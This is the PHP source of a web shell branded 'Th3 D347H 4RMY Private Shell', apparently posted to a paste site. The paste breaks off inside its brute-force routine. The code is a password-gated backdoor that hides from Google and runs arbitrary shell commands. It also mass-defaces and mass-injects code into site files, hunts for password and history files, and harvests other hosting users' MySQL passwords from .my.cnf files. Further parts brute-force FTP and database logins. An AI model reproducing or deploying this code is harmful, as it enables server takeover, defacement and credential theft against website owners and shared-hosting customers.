· 9 years ago · Jan 09, 2017, 01:22 PM
1<?php
2$auth_pass = "b132dfb948169c1bdebfadc7dabdba48";
3$color = "#fea246;text-shadow:#f8fc03 0px 0px 3px;";
4$default_action = 'FilesMan';
5@define('SELF_PATH', __FILE__);
6if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
7 header('HTTP/1.0 404 Not Found');
8 exit;
9}
10@session_start();
11@error_reporting(0);
12@ini_set('error_log',NULL);
13@ini_set('display_errors',0);
14@ini_set('log_errors',0);
15@ini_set('max_execution_time',0);
16@set_time_limit(0);
17@set_magic_quotes_runtime(0);
18@define('VERSION', 'Ver 1.0');
19if( get_magic_quotes_gpc() ) {
20 function stripslashes_array($array) {
21 return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
22 }
23 $_POST = stripslashes_array($_POST);
24}
25function printLogin() {
26 echo '
27
28<html>
29<head>
30<SCRIPT type=text/javascript> function tb8_makeArray(n){ this.length = n; return this.length; } tb8_messages = new tb8_makeArray(3); tb8_messages[0] = "D34Ds SHELL"; tb8_messages[1] = "WELCOME TO OUR SHELL"; tb8_messages[2] = "Pr!v@T3 Sh3ll 1.0"; tb8_rptType = "infinite"; tb8_rptNbr = 5; tb8_speed = 100; tb8_delay = 2000; var tb8_counter=1; var tb8_currMsg=0; var tb8_tekst =""; var tb8_i=0; var tb8_TID = null; function tb8_pisi(){ tb8_tekst = tb8_tekst + tb8_messages[tb8_currMsg].substring(tb8_i, tb8_i+1); document.title = tb8_tekst; tb8_sp=tb8_speed; tb8_i++; if (tb8_i==tb8_messages[tb8_currMsg].length){ tb8_currMsg++; tb8_i=0; tb8_tekst="";tb8_sp=tb8_delay; } if (tb8_currMsg == tb8_messages.length){ if ((tb8_rptType == "finite") && (tb8_counter==tb8_rptNbr)){ clearTimeout(tb8_TID); return; } tb8_counter++; tb8_currMsg = 0; } tb8_TID = setTimeout("tb8_pisi()", tb8_sp); } tb8_pisi() </SCRIPT>
31<title>D34Ds Pr!v@t3 Sh3LL </title>
32<link href="https://fonts.googleapis.com/css?family=Covered+By+Your+Grace" rel="stylesheet" type="text/css">
33<link href="http://fonts.googleapis.com/css?family=Black+Ops+One" rel="stylesheet" type="text/css">
34<link href="https://fonts.googleapis.com/css?family=Abel" rel="stylesheet" type="text/css">
35<style>
36body {
37 background: url(http://wallpapercave.com/wp/djlXIIi.jpg) no-repeat center center fixed;
38 -webkit-background-size: cover;
39 -moz-background-size: cover;
40 -o-background-size: cover;
41 background-size: cover;
42 color: white;
43}
44.twitter a{
45 text-decoration: none;
46 font-family: Black Ops One ;
47 font-size: 50px;
48 text-shadow: Blue 0px 0px 10px;
49}
50
51
52</style>
53</head>
54<body>
55<iframe width="0" height="0" src="https://www.youtube.com/embed/rP1qjuFsV7w?&autoplay=1" frameborder="0" allowfullscreen></iframe>
56<center>
57<table width=100% height=100%><td align=center><br>
58<center><img src="https://s10.postimg.org/guf90ldix/new.png" height="300" width="400">
59<DIV class=twitter><A href="https://www.facebook.com/Th3D347h4RmY/"><FONT color=#0479fe><b>D34Ds</a></DIV><br>
60<span class="blueglow" style="font-size: 20pt; font-family: Black Ops One; color: #04fe3d; text-shadow: #04d1fe 0px 0px 3px;"><B>..::Th3 D347H 4RMY Private Shell::..</B></font><br><br>
61<span class="blueglow"><font style="color:#fc7003;text-shadow:#fc0303 0px 0px 3px; font-size: 20pt; font-family: Covered By Your Grace; "><strong>We are:-</span></strong> <br /> <marquee width=820 scrollAmount=4 scrollDelay=50> <font style="color:#fc7003;text-shadow:#fc0303 0px 0px 3px; font-size: 20pt; font-family: Covered By Your Grace; "><strong>D3m0n N1gh7m4r3 | Cyberl33t | X0MH17 | Ch@Ch_4-RC7 | Albanian F34r | P4R4D0X | G48B3R | AlonE DefendeR | D34D S3C70R</strong> </span> </marquee> </div></font></div><br><br>
62
63<div id="footer"><br /><b><font style="color:#04febe;text-shadow:#049ffe 0px 0px 3px; font-size: 14pt; font-family: Abel;"> © Th3 D347H 4RMY</div></font> </center><br>
64
65<style>input { margin:0;background-color:#000000; border:none;color:#0000; cursor:arrow; }</style>
66 <center><form method=post><input type=password name=pass></form>
67
68</body></html>
69
70
71
72 ';
73 exit;
74}
75if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
76 if( empty( $auth_pass ) ||
77 ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
78 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
79 else
80 printLogin();
81if( strtolower( substr(PHP_OS,0,3) ) == "win" )
82 $os = 'win';
83else
84 $os = 'nix';
85$safe_mode = @ini_get('safe_mode');
86$disable_functions = @ini_get('disable_functions');
87$home_cwd = @getcwd();
88if( isset( $_POST['c'] ) )
89 @chdir($_POST['c']);
90$cwd = @getcwd();
91if( $os == 'win') {
92 $home_cwd = str_replace("\\", "/", $home_cwd);
93 $cwd = str_replace("\\", "/", $cwd);
94}
95if( $cwd[strlen($cwd)-1] != '/' )
96 $cwd .= '/';
97if($os == 'win') {
98 $aliases = array(
99 "Mass Deface" => 'for /r "%cd%" %i in (.) do @copy "%cd%\D34Ds.html" "%i"',
100 "Find index.php in current dir" => "dir /s /w /b index.php",
101 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
102 "Show active connections" => "netstat -an",
103 "Show running services" => "net start",
104 "User accounts" => "net user",
105 "Show computers" => "net view",
106 "ARP Table" => "arp -a",
107 "IP Configuration" => "ipconfig /all"
108 );
109} else {
110 $aliases = array(
111 "List dir" => "ls -la",
112 "list file attributes on a Linux second extended file system" => "lsattr -va",
113 "show opened ports" => "netstat -an | grep -i listen",
114 "Find" => "",
115 "find all suid files" => "find / -type f -perm -04000 -ls",
116 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
117 "find all sgid files" => "find / -type f -perm -02000 -ls",
118 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
119 "find config.inc.php files" => "find / -type f -name config.inc.php",
120 "find config* files" => "find / -type f -name \"config*\"",
121 "find config* files in current dir" => "find . -type f -name \"config*\"",
122 "find all writable folders and files" => "find / -perm -2 -ls",
123 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
124 "find all service.pwd files" => "find / -type f -name service.pwd",
125 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
126 "find all .htpasswd files" => "find / -type f -name .htpasswd",
127 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
128 "find all .bash_history files" => "find / -type f -name .bash_history",
129 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
130 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
131 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
132 "Locate" => "",
133 "locate httpd.conf files" => "locate httpd.conf",
134 "locate vhosts.conf files" => "locate vhosts.conf",
135 "locate proftpd.conf files" => "locate proftpd.conf",
136 "locate psybnc.conf files" => "locate psybnc.conf",
137 "locate my.conf files" => "locate my.conf",
138 "locate admin.php files" =>"locate admin.php",
139 "locate cfg.php files" => "locate cfg.php",
140 "locate conf.php files" => "locate conf.php",
141 "locate config.dat files" => "locate config.dat",
142 "locate config.php files" => "locate config.php",
143 "locate config.inc files" => "locate config.inc",
144 "locate config.inc.php" => "locate config.inc.php",
145 "locate config.default.php files" => "locate config.default.php",
146 "locate config* files " => "locate config",
147 "locate .conf files"=>"locate '.conf'",
148 "locate .pwd files" => "locate '.pwd'",
149 "locate .sql files" => "locate '.sql'",
150 "locate .htpasswd files" => "locate '.htpasswd'",
151 "locate .bash_history files" => "locate '.bash_history'",
152 "locate .mysql_history files" => "locate '.mysql_history'",
153 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
154 "locate backup files" => "locate backup",
155 "locate dump files" => "locate dump",
156 "locate priv files" => "locate priv"
157 );
158}
159function ex($in) {
160 $out = '';
161 if (function_exists('exec')) {
162 @exec($in,$out);
163 $out = @join("\n",$out);
164 } elseif (function_exists('passthru')) {
165 ob_start();
166 @passthru($in);
167 $out = ob_get_clean();
168 } elseif (function_exists('system')) {
169 ob_start();
170 @system($in);
171 $out = ob_get_clean();
172 } elseif (function_exists('shell_exec')) {
173 $out = shell_exec($in);
174 } elseif (is_resource($f = @popen($in,"r"))) {
175 $out = "";
176 while(!@feof($f))
177 $out .= fread($f,1024);
178 pclose($f);
179 }else return " Unable to execute command BC\n";
180 return ($out==''?" Query did not return anything Bro\n":$out);
181}
182function which($p) {
183 $path = ex('which ' . $p);
184 if(!empty($path))
185 return $path;
186 return false;
187}
188function printHeader() {
189 if(empty($_POST['charset']))
190 $_POST['charset'] = "UTF-8";
191 global $color;
192 echo '<html><head><meta http-equiv="Content-Type" content="text/html; charset='.$_POST['charset'].'"><title>Th3 D347H 4RMY '.VERSION.'</title>
193 <style>
194 body {background:url(https://images5.alphacoders.com/311/thumb-1920-311869.jpg); color:#FFFFFF;}
195 body,td,th { font: 9pt Lucida,Verdana;margin:0;vertical-align:top; }
196 span,h1,a { color:'.$color.' !important; }
197 span { font-weight: bolder; }
198 h1 { padding: 2px 5px;font: 14pt Verdana;margin:0px 0 0 5px; }
199 div.content { padding: 5px;margin:0 5px;background: #000000;border-bottom:1px #56A3E9;}
200 a { text-decoration:none; }
201 a:hover { /*background:lime;*/ }
202 .ml1 { border:1px #56A3E9;padding:5px;margin:0;overflow: auto; }
203 .bigarea { width:100%;height:250px;margin-top:5px;}
204 input, textarea, select { margin:0;color:lime;background-color:#000000;border:1px solid '.$color.'; font: 9pt Monospace,"Courier New"; }
205 input[type="button"]:hover,input[type="submit"]:hover {background-color:'.$color.';color:#000;}
206 form { margin:0px; }
207 #toolsTbl { text-align:center; }
208 .toolsInp { width: 80%; }
209 .main th {text-align:left;background-color:#000000;font-weight: bold;}
210 .main tr:hover{background-color:#5e5e5e;}
211 .main td, th{vertical-align:middle;}
212 .menu {background: #000;}
213 .menu th{padding:5px;font-weight:bold;}
214 .menu th:hover{background:#444;}
215 .l1 {background-color:#000}
216 pre {font-family:Courier,Monospace;}
217 #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
218 .logo {text-align:center;font-size:60px;}
219 .logo sup {font-size: 15px;vertical-align: top;margin-left: -14px;}
220 .cpr {margin-bottom:5px;font-weight:bold;}
221 .cpb {width:34px;margin:0 5px;}
222 .eca1 {font-size: 16px;font-weight: bold;letter-spacing: 10px;margin: 0 2px 0 17px;text-align: center;}
223 .eca2 {font-size: 13px;font-weight: bold;letter-spacing: 3px;margin: 0 2px 0 7px;text-align: center;}
224 .npoad td {padding:0;}
225 </style>
226 <script>
227 function set(a,c,p1,p2,p3,charset) {
228 if(a != null)document.mf.a.value=a;
229 if(c != null)document.mf.c.value=c;
230 if(p1 != null)document.mf.p1.value=p1;
231 if(p2 != null)document.mf.p2.value=p2;
232 if(p3 != null)document.mf.p3.value=p3;
233 if(charset != null)document.mf.charset.value=charset;
234 }
235 function g(a,c,p1,p2,p3,charset) {
236 set(a,c,p1,p2,p3,charset);
237 document.mf.submit();
238 }
239 function a(a,c,p1,p2,p3,charset) {
240 set(a,c,p1,p2,p3,charset);
241 var params = "ajax=true";
242 for(i=0;i<document.mf.elements.length;i++)
243 params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
244 sr("'.$_SERVER['REQUEST_URI'].'", params);
245 }
246 function sr(url, params) {
247 if (window.XMLHttpRequest) {
248 req = new XMLHttpRequest();
249 req.onreadystatechange = processReqChange;
250 req.open("POST", url, true);
251 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
252 req.send(params);
253 }
254 else if (window.ActiveXObject) {
255 req = new ActiveXObject("Microsoft.XMLHTTP");
256 if (req) {
257 req.onreadystatechange = processReqChange;
258 req.open("POST", url, true);
259 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
260 req.send(params);
261 }
262 }
263 }
264 function processReqChange() {
265 if( (req.readyState == 4) )
266 if(req.status == 200) {
267 //alert(req.responseText);
268 var reg = new RegExp("(\\d+)([\\S\\s]*)", "m");
269 var arr=reg.exec(req.responseText);
270 eval(arr[2].substr(0, arr[1]));
271 }
272 else alert("Request error!");
273 }
274 </script>
275 <head><body><div style="position:absolute;width:100%;top:0;left:0;"><div style="margin:1px;background:#000;"><div class="content" style="border-top:1px #56A3E9;">
276 <form method=post name=mf style="display:none;">
277 <input type=hidden name=a value="'.(isset($_POST['a'])?$_POST['a']:'').'">
278 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
279 <input type=hidden name=p1 value="'.(isset($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'">
280 <input type=hidden name=p2 value="'.(isset($_POST['p2'])?htmlspecialchars($_POST['p2']):'').'">
281 <input type=hidden name=p3 value="'.(isset($_POST['p3'])?htmlspecialchars($_POST['p3']):'').'">
282 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
283 </form>';
284 $freeSpace = @diskfreespace($GLOBALS['cwd']);
285 $totalSpace = @disk_total_space($GLOBALS['cwd']);
286 $totalSpace = $totalSpace?$totalSpace:1;
287 $disable_functions = @ini_get('disable_functions');
288 $release = @php_uname('r');
289 $kernel = @php_uname('s');
290 $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
291 if(strpos('Linux', $kernel) !== false)
292 $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
293 else
294 $explink .= urlencode($kernel . ' ' . substr($release,0,3));
295 if(!function_exists('posix_getegid')) {
296 $user = @get_current_user();
297 $uid = @getmyuid();
298 $gid = @getmygid();
299 $group = "?";
300 } else {
301 $uid = @posix_getpwuid(@posix_geteuid());
302 $gid = @posix_getgrgid(@posix_getegid());
303 $user = $uid['name'];
304 $uid = $uid['uid'];
305 $group = $gid['name'];
306 $gid = $gid['gid'];
307 }
308 $cwd_links = '';
309 $path = explode("/", $GLOBALS['cwd']);
310 $n=count($path);
311 for($i=0;$i<$n-1;$i++) {
312 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
313 for($j=0;$j<=$i;$j++)
314 $cwd_links .= $path[$j].'/';
315 $cwd_links .= "\")'>".$path[$i]."/</a>";
316 }
317 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
318 $opt_charsets = '';
319 foreach($charsets as $item)
320 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
321 $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Exec'=>'Console','Infect'=>'Infect','CgiShell'=>'CgiShell','Shared Hostings'=>'Shared','Grab Configs'=>'ConfigGrabber','Safe Mode'=>'Bypass','Sql'=>'Sql','Subdomain'=>'Subdomain','LFI'=>'lfiscan','Brute'=>'Bruteforce','CP' => 'CP','Readable'=>'Readable','Mass Defacer'=>'Deface','Bypass'=>'Defacer','String tools'=>'StringTools','Jumping'=>'Jumping','Injector'=>'Injector','Connect'=>'Network','Port Scanner'=>'PortScanner','R.D.P'=>'rdp','Domain' => 'Domain','Mass SQLi' => 'shiv');
322 if(!empty($GLOBALS['auth_pass']))
323 $m['Logout'] = 'Logout';
324
325 $menu = '';
326 foreach($m as $k => $v)
327 $menu .= '<th><a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a></th>';
328 $drives = "";
329 if ($GLOBALS['os'] == 'win') {
330 foreach( range('a','z') as $drive ){
331 if (is_dir($drive.':\\'))
332 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
333 }
334 $drives .= '<br />: ';
335
336 }
337 if($GLOBALS['os'] == 'nix') {
338 $dominios = @file_get_contents("/etc/named.conf");
339 if(!$dominios) {
340 $d0c = "CANT READ named.conf";
341 } else {
342 @preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);
343 $out = sizeof(array_unique($out[1]));
344 $d0c = $out." Domains";
345 }
346 } else {
347 $d0c = " --- ";
348 }
349 if($GLOBALS['os'] == 'nix' )
350 {
351 $usefl = ''; $dwnldr = '';
352 if(!@ini_get('safe_mode')) {
353 $temp = array();
354 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
355 foreach($userful as $item) { if(which($item)) $temp[]= $item; }
356 $usefl = implode(', ',$temp);
357 $temp = array();
358 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
359 foreach($downloaders as $item2) { if(which($item2)) $temp[]= $item2; }
360 $dwnldr = implode(', ',$temp);
361 } else {
362 $usefl = ' ------- '; $dwnldr = ' ------- ';
363 }
364 } else {
365 $usefl = ' ------- '; $dwnldr = ' ------- ';
366 }
367
368 echo '<table class="info" cellpadding="0" cellspacing="0" width="100%" bgcolor="black"><tr><td width="160px"><img src="https://s10.postimg.org/guf90ldix/new.png" height="150" width="150"><sup>®</sup></div></td>
369 <td><table cellpadding="0" cellspacing="0" class="npoad"><tr><td width="125px;"><span>Uname</span></td><td>: <nobr>'.substr(@php_uname(), 0, 120).' <a href="' . $explink . '" target=_blank>[exploit-db.com]'.'</nobr></td></tr>
370 <tr><td><span>User</span></td><td>: '.$uid.' ( '.$user.' ) <span>Group: </span> '.$gid.' ( '.$group.' )</td></tr><tr><td><span>Server</span></td><td>: '.@getenv('SERVER_SOFTWARE').'</td></tr><tr><td><span>Useful</span></td><td>: '.$usefl.'</td></tr><tr><td><span>Downloaders</span></td><td>: '.$dwnldr.'</td></tr><tr><td><span>Disabled functions</span></td><td>: '.($disable_functions?$disable_functions:'All Function Enable').'</td></tr><tr><td><span>'.($GLOBALS['os'] == 'win'?'Drives<br />Cwd':'Cwd').'</span></td><td>: '.$drives.''.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a></td></tr></table></td>'.
371 '<td width=1><nobr><span>Server IP</span><br><span>Client IP</span><br /><span>HDD</span><br /><span>Free</span><br /><span>PHP</span><br /><span>Safe Mode</span><br /><span>Domains</span></nobr></td>'.
372 '<td><nobr>: '.gethostbyname($_SERVER["HTTP_HOST"]).'<br>: '.$_SERVER['REMOTE_ADDR'].'<br />: '.viewSize($totalSpace).'<br />: '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>: '.@phpversion().' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a><br />: '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color='.$color.'<b>OFF</b></font>').'<br />: '.$d0c.'</nobr></td></tr></table>'.
373 '</div></div><div style="margin:1;background #000;"><div class="content" style="border-top:1px #56A3E9;padding:2px;"><table cellpadding="3" cellspacing="0" width="100%" class="menu"><tr>'.$menu.'.</tr></table></div></div><div style="margin:2;background:#000;">'
374 .'<div style="margin:1;background #000;"><div class="content" style="border-top:1px #56A3E9;padding:2px;">';
375 // menu2 is there but cant set it :(
376 }
377
378
379function actionInjector(){
380 printHeader();
381 echo '<center><h1>Mass Code Injector By Th3 D347H 4RMY </h1></center>';
382 echo '<div class="content">';
383
384 if(stristr(php_uname(),"Windows")) { $DS = "\\"; } else if(stristr(php_uname(),"Linux")) { $DS = '/'; }
385 function get_structure($path,$depth) {
386 global $DS;
387 $res = array();
388 if(in_array(0, $depth)) { $res[] = $path; }
389 if(in_array(1, $depth) or in_array(2, $depth) or in_array(3, $depth)) {
390 $tmp1 = glob($path.$DS.'*',GLOB_ONLYDIR);
391 if(in_array(1, $depth)) { $res = array_merge($res,$tmp1); }
392 }
393 if(in_array(2, $depth) or in_array(3, $depth)) {
394 $tmp2 = array();
395 foreach($tmp1 as $t){
396 $tp2 = glob($t.$DS.'*',GLOB_ONLYDIR);
397 $tmp2 = array_merge($tmp2, $tp2);
398 }
399 if(in_array(2, $depth)) { $res = array_merge($res,$tmp2); }
400 }
401 if(in_array(3, $depth)) {
402 $tmp3 = array();
403 foreach($tmp2 as $t){
404 $tp3 = glob($t.$DS.'*',GLOB_ONLYDIR);
405 $tmp3 = array_merge($tmp3, $tp3);
406 }
407 $res = array_merge($res,$tmp3);
408 }
409 return $res;
410 }
411
412 if(isset($_POST['submit']) && $_POST['submit']=='Inject') {
413 $name = $_POST['name'] ? $_POST['name'] : '*';
414 $type = $_POST['type'] ? $_POST['type'] : 'html';
415 $path = $_POST['path'] ? $_POST['path'] : getcwd();
416 $code = $_POST['code'] ? $_POST['code'] : '3xp1r3 Cyber Army';
417 $mode = $_POST['mode'] ? $_POST['mode'] : 'a';
418 $depth = sizeof($_POST['depth']) ? $_POST['depth'] : array('0');
419 $dt = get_structure($path,$depth);
420 foreach ($dt as $d) {
421 if($mode == 'a') {
422 if(file_put_contents($d.$DS.$name.'.'.$type, $code, FILE_APPEND)) {
423 echo '<div><strong>'.$d.$DS.$name.'.'.$type.'</strong><span style="color:#a3e956;"> was injected</span></div>';
424 } else {
425 echo '<div><span style="color:red;">failed to inject</span> <strong>'.$d.$DS.$name.'.'.$type.'</strong></div>';
426 }
427 } else {
428 if(file_put_contents($d.$DS.$name.'.'.$type, $code)) {
429 echo '<div><strong>'.$d.$DS.$name.'.'.$type.'</strong><span style="color:#a3e956;"> was injected</span></div>';
430 } else {
431 echo '<div><span style="color:red;">failed to inject</span> <strong>'.$d.$DS.$name.'.'.$type.'</strong></div>';
432 }
433 }
434 }
435 } else {
436 echo '<form method="post" action="">
437 <table align="center">
438 <tr>
439 <td>Directory : </td>
440 <td><input class="box" name="path" value="'.getcwd().'" size="50"/></td>
441 </tr>
442 <tr>
443 <td class="title">Mode : </td>
444 <td>
445 <select style="width: 100px;" name="mode" class="box">
446 <option value="a">Apender</option>
447 <option value="w">Overwriter</option>
448 </select>
449 </td>
450 </tr>
451 <tr>
452 <td class="title">File Name & Type : </td>
453 <td>
454 <input type="text" style="width: 100px;" name="name" value="*"/>
455 <select style="width: 100px;" name="type" class="box">
456 <option value="html">HTML</option>
457 <option value="htm">HTM</option>
458 <option value="php" selected="selected">PHP</option>
459 <option value="asp">ASP</option>
460 <option value="aspx">ASPX</option>
461 <option value="xml">XML</option>
462 <option value="txt">TXT</option>
463 </select></td>
464 </tr>
465 <tr>
466 <td class="title">Code Inject Depth : </td>
467 <td>
468 <input type="checkbox" name="depth[]" value="0" checked="checked"/> 0
469 <input type="checkbox" name="depth[]" value="1"/> 1
470 <input type="checkbox" name="depth[]" value="2"/> 2
471 <input type="checkbox" name="depth[]" value="3"/> 3
472 </td>
473 </tr>
474 <tr>
475 <td colspan="2"><textarea name="code" cols="70" rows="10" class="box"></textarea></td>
476 </tr>
477 <tr>
478 <td colspan="2" style="text-align: center;">
479 <input type="hidden" name="a" value="Injector">
480 <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
481 <input type="hidden" name="p1">
482 <input type="hidden" name="p2">
483 <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
484 <input style="padding :5px; width:100px;" name="submit" type="submit" value="Inject"/></td>
485 </tr>
486 </table>
487 </form>';
488 }
489 echo '</div>';
490 printFooter();
491}
492
493function actionCP() {
494
495printHeader();
496
497
498echo "<html>
499<style type='text/css'>
500 body { height: 100%; width: 100%; margin: 0; padding: 0; background-image: url(' ');
501 <style type='text/css'>
502 /* Circle Text Styles */
503 #outerCircleText {
504 /* Optional - DO NOT SET FONT-SIZE HERE, SET IT IN THE SCRIPT */
505 font-style: italic;
506 font-weight: bold;
507 font-family: 'comic sans ms', verdana, arial;
508 color: #FFF;
509 /* End Optional */
510
511 /* Start Required - Do Not Edit */
512 position: absolute;top: 0;left: 0;z-index: 3000;cursor: default;}
513 #outerCircleText div {position: relative;}
514 #outerCircleText div div {position: absolute;top: 0;left: 0;text-align: center;}
515 /* End Required */
516 /* End Circle Text Styles */
517 </style>
518
519
520<center><marquee bgcolor='black' width='30%'><span style='font-size: 25px;'><b>
521<span style='color:White;font-family:Iceland;text-shadow:red 0px 0px 5px' 'font-size:='' 20pt;'=''>Powered by Th3 D347H 4RMY</span></marquee></center>
522<body>";
523
524@ini_set('display_errors',0);
525function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
526 $ar0=explode($marqueurDebutLien, $text);
527 $ar1=explode($marqueurFinLien, $ar0[$i]);
528 return trim($ar1[0]);
529}
530 echo "<center>";
531$d0mains = @file('/etc/named.conf');
532$domains = scandir("/var/named");
533
534if ($domains or $d0mains)
535{
536 $domains = scandir("/var/named");
537 if($domains) {
538echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
539$count=1;
540$dc = 0;
541$list = scandir("/var/named");
542foreach($list as $domain){
543if(strpos($domain,".db")){
544$domain = str_replace('.db','',$domain);
545$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
546$dirz = '/home/'.$owner['name'].'/.my.cnf';
547$path = getcwd();
548
549if (is_readable($dirz)) {
550copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
551$p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');
552$password=entre2v2($p,'password="','"');
553echo "<tr><td>".$count++."</td><td><a href='http://".$domain.":2082' target='_blank'>".$domain."</a></td><td>".$owner['name']."</td><td>".$password."</td><td><a href='".$owner['name'].".txt' target='_blank'>Click Here</a></td></tr>";
554$dc++;
555}
556
557}
558}
559echo '</table>';
560$total = $dc;
561echo '<br><div class="result">Total Found = '.$total.'</h3><br />';
562echo '</center>';
563}else{
564$d0mains = @file('/etc/named.conf');
565 if($d0mains) {
566echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
567$count=1;
568$dc = 0;
569$mck = array();
570foreach($d0mains as $d0main){
571 if(@eregi('zone',$d0main)){
572 preg_match_all('#zone "(.*)"#',$d0main,$domain);
573 flush();
574 if(strlen(trim($domain[1][0])) >2){
575 $mck[] = $domain[1][0];
576 }
577 }
578}
579$mck = array_unique($mck);
580$usr = array();
581$dmn = array();
582foreach($mck as $o) {
583 $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
584 $usr[] = $infos['name'];
585 $dmn[] = $o;
586}
587array_multisort($usr,$dmn);
588$dt = file('/etc/passwd');
589$passwd = array();
590foreach($dt as $d) {
591 $r = explode(':',$d);
592 if(strpos($r[5],'home')) {
593 $passwd[$r[0]] = $r[5];
594 }
595}
596$l=0;
597$j=1;
598foreach($usr as $r) {
599$dirz = '/home/'.$r.'/.my.cnf';
600$path = getcwd();
601if (is_readable($dirz)) {
602copy($dirz, ''.$path.'/'.$r.'.txt');
603$p=file_get_contents(''.$path.'/'.$r.'.txt');
604$password=entre2v2($p,'password="','"');
605echo "<tr><td>".$count++."</td><td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td>'.$r."</td><td>".$password."</td><td><a href='".$r.".txt' target='_blank'>Click Here</a></td></tr>";
606$dc++;
607 flush();
608 $l=$l?0:1;
609 $j++;
610 }
611 }
612 }
613echo '</table>';
614$total = $dc;
615echo '<br><div class="result">Total Found = '.$total.'</h3><br />';
616echo '</center>';
617
618}
619}else{
620echo "<h3><div class='result'><i><font style='color:White;font-family:Iceland;text-shadow:blue 0px 0px 5px'>ERROR</font><br><font style='color:White;font-family:Iceland;text-shadow:blue 0px 0px 5px'>/var/named</font> or <font style='color:White;font-family:Iceland;text-shadow:blue 0px 0px 5px'>etc/named.conf</font> Not Accessible!</i></div></h3>";
621echo "<h3><div class='result'><i><font style='color:White;font-family:Iceland;text-shadow:blue 0px 0px 5px'>Th3 D347H 4RMY </font></h3>";
622
623}
624 printFooter();
625 }
626
627function actionBruteforce() {
628 printHeader();
629 if( isset($_POST['proto']) ) {
630 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
631 if( $_POST['proto'] == 'ftp' ) {
632 function bruteForce($ip,$port,$login,$pass) {
633 $fp = @ftp_connect($ip, $port?$port:21);
634 if(!$fp) return false;
635 $res = @ftp_login($fp, $login, $pass);
636 @ftp_close($fp);
637 return $res;
638 }
639 } elseif( $_POST['proto'] == 'mysql' ) {
640 function bruteForce($ip,$port,$login,$pass) {
641 $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
642 @mysql_close($res);
643 return $res;
644 }
645 } elseif( $_POST['proto'] == 'pgsql' ) {
646 function bruteForce($ip,$port,$login,$pass) {
647 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=''";
648 $res = @pg_connect($server[0].':'.$server[1]?$server[1]:5432, $login, $pass);
649 @pg_close($res);
650 return $res;
651 }
652 }
653 $success = 0;
654 $attempts = 0;
655 $server = explode(":", $_POST['server']);
656 if($_POST['type'] == 1) {
657 $temp = @file('/etc/passwd');
658 if( is_array($temp) )
659 foreach($temp as $line) {
660 $line = explode(":", $line);
661 ++$attempts;
662 if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
663 $success++;
664 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
665 }
666 if(@$_POST['reverse']) {
667 $tmp = "";
668 for($i=strlen($line[0])-1; $i>=0; --$i)
669 $tmp .= $line[0][$i];
670 ++$attempts;
671 if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
672 $success++;
673 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
